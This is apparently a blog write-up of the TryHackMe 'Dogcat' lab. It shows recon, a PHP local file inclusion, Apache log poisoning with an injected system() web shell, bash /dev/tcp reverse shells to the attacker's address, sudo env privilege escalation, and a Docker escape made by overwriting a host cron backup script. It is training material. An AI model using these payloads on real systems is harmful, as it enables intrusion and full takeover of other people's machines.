Post

TryHackMe - Dogcat

Introduction

This is a TryHackMe room which can be found at: Dogcat

I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.

Reconnaissance & Scanning

Perform nmap scan to identify open ports and services.

  • Command: nmap -p- -T4 -v 10.10.202.202
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
geobour98@kali:~$ nmap -p- -T4 -v 10.10.202.202
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-30 09:27 EET
Initiating Ping Scan at 09:27
Scanning 10.10.202.202 [2 ports]
Completed Ping Scan at 09:27, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:27
Completed Parallel DNS resolution of 1 host. at 09:27, 0.00s elapsed
Initiating Connect Scan at 09:27
Scanning 10.10.202.202 (10.10.202.202) [65535 ports]
Discovered open port 80/tcp on 10.10.202.202
Discovered open port 22/tcp on 10.10.202.202
Completed Connect Scan at 09:28, 58.93s elapsed (65535 total ports)
Nmap scan report for 10.10.202.202 (10.10.202.202)
Host is up (0.074s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
49592/tcp filtered unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 59.04 seconds

Perform aggressive nmap scan to enable OS detection, default scripts and version detection on the found ports.

  • Command: sudo nmap -A -sC -p 22,80,49592 -v 10.10.202.202
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
geobour98@kali:~$ sudo nmap -A -sC -p 22,80,49592 -v 10.10.202.202 
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-30 09:29 EET                                                                        
NSE: Loaded 155 scripts for scanning.                                                                                                  
NSE: Script Pre-scanning.                                                                                                              
Initiating NSE at 09:29                                                                                                                
Completed NSE at 09:29, 0.00s elapsed                                                                                                  
Initiating NSE at 09:29                                                                                                                
Completed NSE at 09:29, 0.00s elapsed                                                                                                  
Initiating NSE at 09:29                                                                                                                
Completed NSE at 09:29, 0.00s elapsed                                                                                                  
Initiating Ping Scan at 09:29                                                                                                          
Scanning 10.10.202.202 [4 ports]                                                                                                         
Completed Ping Scan at 09:29, 0.12s elapsed (1 total hosts)                                                                            
Initiating Parallel DNS resolution of 1 host. at 09:29                                                                                 
Completed Parallel DNS resolution of 1 host. at 09:29, 0.00s elapsed                                                                   
Initiating SYN Stealth Scan at 09:29                                                                                                   
Scanning 10.10.202.202 (10.10.202.202) [3 ports]                                                                                           
Discovered open port 22/tcp on 10.10.202.202                                                                                             
Discovered open port 80/tcp on 10.10.202.202                                                                                             
Completed SYN Stealth Scan at 09:29, 0.10s elapsed (3 total ports)                                                                     
Initiating Service scan at 09:29                                                                                                       
Scanning 2 services on 10.10.202.202 (10.10.202.202)                                                                                       
Completed Service scan at 09:29, 6.15s elapsed (2 services on 1 host)                                                                  
Initiating OS detection (try #1) against 10.10.202.202 (10.10.202.202)                                                                     
Retrying OS detection (try #2) against 10.10.202.202 (10.10.202.202)
Retrying OS detection (try #3) against 10.10.202.202 (10.10.202.202)
Retrying OS detection (try #4) against 10.10.202.202 (10.10.202.202)
Retrying OS detection (try #5) against 10.10.202.202 (10.10.202.202)
Initiating Traceroute at 09:29
Completed Traceroute at 09:29, 0.09s elapsed
Initiating Parallel DNS resolution of 1 host. at 09:29
Completed Parallel DNS resolution of 1 host. at 09:29, 0.00s elapsed
NSE: Script scanning 10.10.202.202. 
Initiating NSE at 09:29
Completed NSE at 09:29, 3.97s elapsed
Initiating NSE at 09:29
Completed NSE at 09:29, 0.32s elapsed
Initiating NSE at 09:29
Completed NSE at 09:29, 0.00s elapsed
Nmap scan report for 10.10.202.202 (10.10.202.202)
Host is up (0.100s latency).

PORT      STATE  SERVICE VERSION
22/tcp    open   ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2431192ab1971a044e2c36ac840a7587 (RSA)
|   256 213d461893aaf9e7c9b54c0f160b71e1 (ECDSA)
|_  256 c1fb7d732b574a8bdcd76f49bb3bd020 (ED25519)
80/tcp    open   http    Apache httpd 2.4.38 ((Debian))
|_http-title: dogcat
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
49592/tcp closed unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Navigate to port 80, and notice the URLs for dogs images: http://10.10.202.202/?view=dog and cats images: http://10.10.202.202/?view=cat.

Also, from Wappalyzer we identify that PHP is used.

  • Command: gobuster dir -u http://10.10.202.202/ -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
geobour98@kali:~$ gobuster dir -u http://10.10.202.202/ -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.202.202/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.2.0-dev
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2022/10/30 09:43:01 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 418]
/cat.php              (Status: 200) [Size: 26]
/flag.php             (Status: 200) [Size: 0]
/cats                 (Status: 301) [Size: 309] [--> http://10.10.202.202/cats/]
/dogs                 (Status: 301) [Size: 309] [--> http://10.10.202.202/dogs/]
/dog.php              (Status: 200) [Size: 26]
/server-status        (Status: 403) [Size: 276]
Progress: 441122 / 441124 (100.00%)===============================================================
2022/10/30 09:59:03 Finished
===============================================================

After poking around we identified that either the string dog or cat must be in the value of the view parameter.

If we navigate to the URL: http://10.10.202.202/?view=dog1 we get the following warnings:

1
2
3
4
Here you go!
Warning: include(dog1.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 24

Warning: include(): Failed opening 'dog1.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 24

These warnings reveal that include_path is used, which probably checks for the strings dog or cat.

Exploitation

So, it is possible for an LFI to be there, so we will try some payloads from: File Inclusion - PayloadsAllTheThings.

The successful payload is: php://filter/convert.base64-encode/resource=, so the URL becomes: http://10.10.202.202/?view=php://filter/convert.base64-encode/resource=dog resulting to: Here you go!PGltZyBzcmM9ImRvZ3MvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K

Flag 1

We have also found flag.php from gobuster so we can read the 1st flag by navigating to: http://10.10.202.202/?view=php://filter/convert.base64-encode/resource=dog/../flag. The output is: Here you go![REDACTED], which we can decode from base64.

We can navigate to: http://10.10.202.202/?view=php://filter/convert.base64-encode/resource=dog/../index in order to view the source code of index.php (if we first decode it from base64):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>
</html>

We notice that index.php also checks for the ext parameter and if it’s missing, it appends .php.

So, we can read now the /var/log/apache2/access.log on the URL: http://10.10.202.202/?view=php://filter/convert.base64-encode/resource=dog/../../../../var/log/apache2/access.log&ext (again after decoding from base64).

So, we can perform log poisoning in order to execute commands.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
geobour98@kali:~$ nc -vn 10.10.202.202 80
(UNKNOWN) [10.10.202.202] 80 (http) open
GET /<?php system($_GET['cmd']); ?>    
HTTP/1.1 400 Bad Request
Date: Sun, 30 Oct 2022 08:30:36 GMT
Server: Apache/2.4.38 (Debian)
Content-Length: 302
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 172.17.0.2 Port 80</address>
</body></html>

The response has 400 HTTP status code but we can verify that the log poisoning was successful by navigating to: http://10.10.202.202/?view=.dog/../../../../var/log/apache2/access.log&cmd=id&ext

The output is: uid=33(www-data) gid=33(www-data) groups=33(www-data), so we now can get a reverse shell through Burp Suite.

Refresh this page: http://10.10.202.202/?view=.dog/../../../../var/log/apache2/access.log&cmd=id&ext and Intercept it with Burp. Then replace the id command with bash -c 'exec bash -i &>/dev/tcp/10.8.16.74/443 <&1' but URL-encoded.

So the request should look like this:

1
2
3
4
5
6
7
8
9
10
GET /?view=.dog/../../../../var/log/apache2/access.log&cmd=bash+-c+'exec+bash+-i+%26>/dev/tcp/10.8.16.74/443+<%261'&ext HTTP/1.1
Host: 10.10.202.202
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


Then, open a netcat listener and we have a reverse shell as www-data.

1
2
3
4
5
6
7
geobour98@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.8.16.74] from (UNKNOWN) [10.10.202.202] 54374
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@85e25e675ab4:/var/www/html$ whoami
www-data

Privilege Escalation

After executing the command: sudo -l we see that we can execute /usr/bin/env as root without being asked for root password.

We can use the following command to become root: sudo env /bin/sh found on: https://gtfobins.github.io/gtfobins/env/#sudo

1
2
3
4
5
6
7
8
9
10
11
12
www-data@85e25e675ab4:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on 85e25e675ab4:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 85e25e675ab4:
    (root) NOPASSWD: /usr/bin/env
www-data@85e25e675ab4:/var/www/html$ sudo env /bin/sh
sudo env /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)

Flag 2

The 2nd flag can be found in: /var/www/flag2_QMW7JvaY2LvK.txt:

1
2
3
cd /var/www
cat flag2_QMW7JvaY2LvK.txt
[REDACTED]

Flag 3

The 3rd flag can be found in: /root/flag3.txt:

1
2
3
cd /root
cat flag3.txt
[REDACTED]

Flag 4

If we navigate to / we see the file .dockerenv meaning that we are in Docker container.

There is an interesting file backup.sh in /opt/backups/, which should be executed as a Cron job on the Host machine, because it is executing a tar command. So, we can modify backup.sh in order to get a reverse shell from the Host.

1
2
3
echo "bash -c 'exec bash -i &>/dev/tcp/10.8.16.74/443 <&1'" > backup.sh 
cat backup.sh
bash -c 'exec bash -i &>/dev/tcp/10.8.16.74/443 <&1'

Open a netcat listener on 443 port and wait for the connection.

1
2
3
4
5
6
7
8
9
10
11
geobour98@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.8.16.74] from (UNKNOWN) [10.10.202.202] 38480
bash: cannot set terminal process group (3679): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@dogcat:~# cat flag4.txt
cat flag4.txt
[REDACTED]

Now are the root user on the Host machine.

Proof of Concept (PoC image): Desktop View

This post is licensed under CC BY 4.0 by the author.